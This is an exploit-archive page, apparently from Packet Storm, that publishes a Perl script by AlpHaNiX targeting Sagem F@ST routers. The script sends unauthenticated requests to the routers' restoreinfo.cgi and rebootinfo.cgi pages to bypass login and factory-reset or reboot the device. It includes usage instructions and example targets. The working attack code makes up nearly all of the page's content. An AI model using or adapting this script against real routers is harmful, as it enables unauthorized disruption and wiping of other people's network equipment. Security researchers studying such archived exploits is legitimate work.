what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Sagem Routers Remote Authentication Bypass

Sagem Routers Remote Authentication Bypass
Posted Mar 5, 2010
Authored by AlpHaNiX

Sagem Routers remote authentication bypass exploit.

tags | exploit, remote, bypass
SHA-256 | d2fdac660c0b373565c120f593f07bd6707693f1b49263a7c4203245213cc688

Sagem Routers Remote Authentication Bypass

Change Mirror Download


#!/usr/bin/perl
# Exploit Title: Sagem routers Remote auth bypass Exploit
# Date: 04/03/2010
# Author: AlpHaNiX
# Software Link: null
# Version: Sagem Routers F@ST (1200/1240/1400/1400W/1500/1500-WG/2404
# Tested on: Sagem F@ST 2404


# Code :

use HTTP::Request;
use HTTP::Headers;
use LWP::UserAgent;
system('cls');

sub help()
{
print "\n[X] the target must be sagem rooter main ip adress\n".
"[X] affected Versions : Sagem Routers F@ST (1200/1240/1400/1400W/1500/1500-WG/2404)\n".
"[X] Usage : perl $0 --function ip \n".
"[X] Example : ./exploit.pl<http://exploit.pl> --reset 192.168.1.1 \n".
"[X] Example : ./exploit.pl<http://exploit.pl> --reboot 192.168.1.1 \n";
}
sub header()
{
print "\n[+]====================================[+]\n".
"[+] Sagem routers Remote Auth bypass [+]\n".
"[+] Found And Exploit By AlpHaNiX [+]\n".
"[+] Contact : AlpHa[at]Hacker[dot]Bz [+]\n".
"[+] HomePage : NullArea.Net [+]\n".
"[+]====================================[+]\n\n\n"
}
sub resetz()
{
my $target = $ipz."restoreinfo.cgi" ;
my $request = HTTP::Request->new(GET=>$target);
my $useragent = LWP::UserAgent->new();
my $response = $useragent->request($request);
if($response->content =~ m/<HTML><HEAD><TITLE>401 Unauthorized<\/TITLE><\/HEAD>/i && $response->content =~ m/<BODY BGCOLOR="#cc9999"><H4>401 Unauthorized<\/H4>/ && $response->content =~ m/<ADDRESS><A HREF="http:\/\/www.acme.com<http://www.acme.com>\/software\/micro_httpd\/">micro_httpd<\/A><\/ADDRESS>/ )
{
print "[+] Authentication bypassed !\n" ;
print "[+] Exploited , $ip is restored" ;
}
else
{
print "[+] Please make sure you entered real sagem router ip\n" ;
}
}

sub reboot()
{
my $target = $ipz."rebootinfo.cgi" ;
my $request = HTTP::Request->new(GET=>$target);
my $useragent = LWP::UserAgent->new();
my $response = $useragent->request($request);
if($response->content =~ m/<HTML><HEAD><TITLE>401 Unauthorized<\/TITLE><\/HEAD>/i && $response->content =~ m/<BODY BGCOLOR="#cc9999"><H4>401 Unauthorized<\/H4>/ && $response->content =~ m/<ADDRESS><A HREF="http:\/\/www.acme.com<http://www.acme.com>\/software\/micro_httpd\/">micro_httpd<\/A><\/ADDRESS>/ )
{
print "[+] Authentication bypassed !\n" ;
print "[+] Exploited , $ip is rebooted" ;
}
else
{
print "[+] Please make sure you entered real sagem router ip\n" ;
}
}

if (@ARGV != 2) { header();help(); exit(); }
else{

my $i=0;
foreach (@ARGV)
{
if ($ARGV[$i] eq "--reboot"){$ip = $ARGV[$i+1];$function = 'reboot';}
if ($ARGV[$i] eq "--reset"){$ip = $ARGV[$i];$function = 'reset';}
$i++;
}

if ($ip =~ /http:\/\// ) { $ipz = $ip."/"; } else { $ipz = "http://".$ip."/"}

header();
print "[+] Working on $ip ..\n\n";
if($function eq 'reboot'){reboot()}
if($function eq 'reset'){resetz()}
}



Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close